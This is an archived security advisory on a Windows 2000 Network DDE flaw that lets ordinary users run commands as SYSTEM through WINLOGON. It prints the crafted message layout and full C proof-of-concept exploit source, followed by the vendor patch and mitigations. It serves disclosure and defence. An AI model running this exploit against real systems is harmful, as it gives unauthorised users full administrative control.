COMMAND

    NetDDE

SYSTEMS AFFECTED

    Win2000 Pro, Terminal Services and Citrix Metaframe

PROBLEM

    Following  is  based  on  a  @stake  Security  Advisory by DilDog.
    Network DDE is a system service that is enabled in Windows 2000 by
    default.  Due to design flaws, it allows arbitrary commands to  be
    executed with SYSTEM user privileges.

    This is a privilege escalation vulnerability.  Executing code with
    SYSTEM privileges allows an  attacker to have full  administrative
    control of the workstation or  server.  This vulnerability can  be
    used by  an attacker  to elevate  privileges on  a workstation  or
    server where he or she has the logon privileges as a normal  user.
    It  can  also  be  used  to  completely  compromise  a server when
    combined  with  another  lesser  vulnerability  that  allows  code
    execution as a low privileged user.

    When  the  "Network  DDE  DSDM"  service  is started, the WINLOGON
    process   creates   an   invisible   window   for    inter-process
    communication  with  various  NetDDE  components.   The   WINLOGON
    process  is  running  as  the  SYSTEM  user.   When  a  particular
    undocumented structure is passed to WINLOGON through the "DDE Copy
    Data"  window  message  mechanism,  it  can  specify  an arbitrary
    command line to run in the WINLOGON context.

    This functionality  is supposedly  the back  end by  which trusted
    service  NetDDE  shares  have  their  server  applications started
    automatically when a NetDDE connection is requested but the server
    hasn't started yet.

    The "Network DDE DSDM" service is the "DDE Share Database Manager"
    which  maintains  a  list  of  all  active  Network DDE shares and
    manages  multiple  NetDDE  connections.   When  this  service   is
    started,  an  invisible  IPC  window  is  created on the logged-in
    user's desktop  for communication  with DDE  enabled applications.
    The messages that are handled  by this window, and their  formats,
    is undocumented.

    The  window  is  created  with  the  name "NetDDE Agent", and with
    window class "NDDEAgnt".  Since the window is created by WINLOGON,
    the  window  procedure  is  in  WINLOGON's  process  space, and it
    handles messages with SYSTEM  privileges.  One message  handled by
    this window is the "WM_COPYDATA" message, which is used by DDE  to
    pass a block of memory from  one process to another.  Unlike  most
    cross-window   communication,   which   is   usually   done   with
    "PostMessage()", WM_COPYDATA  is issued  with the  "SendMessage()"
    function, and handled in a special case by the low-level messaging
    subsystem (CSRSS).

    The structure that  is passed to  the window via  this message has
    the following format:

        4 bytes - E1 DD E1 DD  (magic number: 0xDDE1DDE1)
        4 bytes - 01 00 00 00  (unknown: 0x00000001)
        4 bytes - 01 00 00 00  (unknown: 0x00000001)
        8 bytes - 05 00 00 09
                      00 00 00 01  (DDE Share Mod Id)
        4 bytes - CC CC CC CC  (unknown: unused?)
        ASCIIZ  - "SHARENAME$" (null terminated string: DDE Trusted Share Name)
        ASCIIZ  - "cmd.exe"    (null terminated string: DDE Server Startup Command)

    When  this  buffer  is  passed  to  the window procedure, it first
    checks for the values of the 3 magic numbers (first 12 bytes),  if
    they are not equal to the values above, the message handler errors
    out.  It then takes the  two ASCIIZ strings and converts the  into
    Unicode strings.  Then, the  share name is validated to  ensure it
    exists, and is a 'trusted' share.

    Since a number of trusted  shares exist in the system  by default,
    one can just iterate through all of them, trying the command  with
    each share name until we find one that is trusted.  The "DDE Share
    Mod ID" is compared with the number that is in the structure,  and
    if they  are equal,  the command  specified in  the second  ASCIIZ
    string is executed  in the context  of the WINLOGON  process, thus
    creating a process which inherits  the SYSTEM process token.   The
    "DDE Share Mod  Id" should be  a relatively random  8-byte number,
    but instead it is always the constant '0x0100000009000005".

    The "Network DDE DSDM" service must be started for following  code
    to work.  It's set to "manual" start by default, and any user  can
    start it.  So type 'net start "Network DDE DSDM"' first, and  then
    run it.  Proof of concept source code:

        http://www.atstake.com/research/advisories/2001/netddemsg.cpp

    Here is the copy:

    #include<windows.h>
    #include<stdio.h>
    #include<nddeapi.h>

    void NDDEError(UINT err)
    {
	    char error[256];
	    NDdeGetErrorString(err,error,256);
	    MessageBox(NULL,error,"NetDDE error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
	    exit(err);
    }

    void *BuildNetDDEPacket(const char *svShareName, const char *svCmdLine, int *pBufLen)
    {
	    // Build NetDDE message
	    int cmdlinelen=strlen(svCmdLine);
	    int funkylen=0x18+strlen(svShareName)+1+cmdlinelen+1;
	    char *funky=(char *)malloc(funkylen);
	    if(funky==NULL) {
		    MessageBox(NULL,"Out of memory.","Memory error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
		    return NULL;
	    }

	    funky[0x00]=(char)0xE1;
	    funky[0x01]=(char)0xDD;
	    funky[0x02]=(char)0xE1;
	    funky[0x03]=(char)0xDD;	// 0xDDE1DDE1 (magic number)

	    funky[0x04]=(char)0x01;
	    funky[0x05]=(char)0x00;
	    funky[0x06]=(char)0x00;
	    funky[0x07]=(char)0x00; // 0x00000001 (?)

	    funky[0x08]=(char)0x01;
	    funky[0x09]=(char)0x00;
	    funky[0x0A]=(char)0x00;
	    funky[0x0B]=(char)0x00; // 0x00000001 (?)

	    funky[0x0C]=(char)0x05; // ShareModId
	    funky[0x0D]=(char)0x00;
	    funky[0x0E]=(char)0x00;
	    funky[0x0F]=(char)0x09;
	    funky[0x10]=(char)0x00;
	    funky[0x11]=(char)0x00;
	    funky[0x12]=(char)0x00;
	    funky[0x13]=(char)0x01;

	    funky[0x14]=(char)0xCC;	// unused (?)
	    funky[0x15]=(char)0xCC;
	    funky[0x16]=(char)0xCC;
	    funky[0x17]=(char)0xCC;

	    memcpy(funky+0x18,svShareName,strlen(svShareName)+1);		// Share name
	    memcpy(funky+0x18+strlen(svShareName)+1,svCmdLine,cmdlinelen+1);	// Command line to execute

	    *pBufLen=funkylen;
	    return funky;
    }

    int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow)
    {
	    // Check command line
	    int cmdlinelen;
	    if(lpCmdLine==NULL || lpCmdLine[0]=='\0') {
		    MessageBox(NULL,"Syntax is: netddmsg [-s sharename] <command line>","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
		    return -1;
	    }
	    cmdlinelen=strlen(lpCmdLine);

	    char *szShare=NULL;
	    char *szCmdLine=lpCmdLine;
	    if(strncmp(lpCmdLine,"-s",2)==0) {
		    szShare=lpCmdLine+2;
		    while ((*szShare)==' ')
			    szShare++;
		    char *szEnd=strchr(szShare,' ');
		    if(szEnd==NULL) {
			    MessageBox(NULL,"You must specify a command to run.","Command line error.",MB_OK|MB_SETFOREGROUND|MB_ICONSTOP);
			    return -1;
		    }
		    szCmdLine=szEnd+1;
		    *szEnd='\0';
	    }

	    // Get NetDDE Window
	    HWND hwnd=FindWindow("NDDEAgnt","NetDDE Agent");
	    if(hwnd==NULL) {
		    MessageBox(NULL,"Couldn't find NetDDE agent window","Error",MB_OK|MB_ICONSTOP|MB_SETFOREGROUND);
		    return -1;
	    }

	    // Get computer name
	    DWORD dwSize=256;
	    char svCompName[256];
	    GetComputerName(svCompName,&dwSize);

	    // Get list of shares to try
	    char *sharename,*sharenames;
	    if(szShare==NULL) {
		    // Try all shares
		    UINT err;
		    DWORD dwNumShares;
		    err=NDdeShareEnum(svCompName,0,NULL,0,&dwNumShares,&dwSize);
		    if(err!=NDDE_NO_ERROR && err!=NDDE_BUF_TOO_SMALL) {
			    NDDEError(err);
		    }
		    sharenames=(char *)malloc(dwSize);
		    err=NDdeShareEnum(svCompName,0,(LPBYTE) sharenames,dwSize,&dwNumShares,&dwSize);
		    if(err!=NDDE_NO_ERROR) {
			    NDDEError(err);
		    }
	    } else {
		    // Try command line share
		    sharenames=(char *)malloc(strlen(szShare)+2);
		    memset(sharenames,'0',strlen(szShare)+2);
		    strcpy(sharenames,szShare);
	    }

	    // Try all shares
	    for(sharename=sharenames;(*sharename)!='\0';sharename+=(strlen(sharename)+1)) {

		    // Ask user
		    if(szShare==NULL) {
			    char svPrompt[256];
			    _snprintf(svPrompt,256,"Try command through the '%s' share?",sharename);
			    if(MessageBox(NULL,svPrompt,"Confirmation",MB_YESNO|MB_ICONQUESTION|MB_SETFOREGROUND)==IDNO)
				    continue;
		    }

		    // Get NetDDE packet
		    void *funky;
		    int funkylen;
		    funky=BuildNetDDEPacket(sharename, szCmdLine, &funkylen);
		    if(funky==NULL)
			    return -1;

		    // Perform CopyData
		    COPYDATASTRUCT cds;
		    cds.cbData=funkylen;
		    cds.dwData=0;
		    cds.lpData=(PVOID)funky;
		    SendMessage(hwnd,WM_COPYDATA,(WPARAM)hwnd,(LPARAM)&cds);

		    // Free memory
		    free(funky);

	    }

	    // Free memory
	    free(sharenames);

	    return 0;

SOLUTION

    Microsoft has issued a bulletin describing this topic:

        http://www.microsoft.com/technet/security/bulletin/MS01-007.asp

    The original version of this bulletin stated that terminal servers
    are not affected by the vulnerability.  MS have subsequently found
    that  they  actually  are  affected,  and  have  updated  both the
    bulletin  and  the  narrative  below  to  reflect this.  The patch
    provided in the bulletin can be applied to terminal servers.

    Microsoft has issued a patch:

        http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27526

    There exist a  huge number of  varied installations.   It would be
    irresponsible to presume  that there always  exists one magic  fix
    that will meet every environments' requirements.  With that  being
    said there are also many solutions one might deploy.  While by  no
    means exhaustive,  here is  a list  of ideas  that may  work.  The
    reader is encouraged to look  not only at how they  might mitigate
    the problem but at the risk it  may or may not present and at  the
    options that might be at  their disposal that are unique  to their
    environment.

    Option  1:  Try  running  'ddeshare.exe'  as  Administrator.  This
    program  will  show  a  list  of  all the trusted shares under the
    'checked share' icon.   By default, the  shares 'Chat$  (Microsoft
    Chat)', 'CLPBK$ (Clipbook)', and 'Hearts$ (Microsoft Hearts)'  are
    listed.   If  you  are  not  using  any of the above applications,
    remove them from  the trusted shares  list.  This  may disable the
    applications, but  your system  will be  protected from  attack if
    the trusted share list is completely empty.

    Option 2:  If you  aren't using  Network DDE,  you can disable the
    Network  DDE  DSDM  service,  which  will prevent this attack from
    working.   Go  to  the  "Services"  administrative  control  panel
    application, and set the "Network DDE DSDM" service to "disabled".
    A  word  of  caution:  Microsoft   Office  uses  Network  DDE   to
    communicate  over  the  network.    Disabling  this  service   may
    interfere with Microsoft Office operations.  Proceed with caution,
    and  test  this  configuration  in  your  environment first before
    deploying, as  with any  non-vendor supplied  fix.   Any other DDE
    enabled applications,  such as  Microsoft Hearts,  Clipbook, etc.,
    will not function properly with this service disabled.

    Although Windows 2000 comes with no native provisions for  logging
    the privilege  escalation presented  in this  advisory, people are
    encouraged to examine and utilize any other logging or  postmortem
    notification options that may be available in their environment.

    If you  must use  network DDE  then you  should install the vendor
    patch on machines where non-administrator users are allowed to run
    arbitrary code.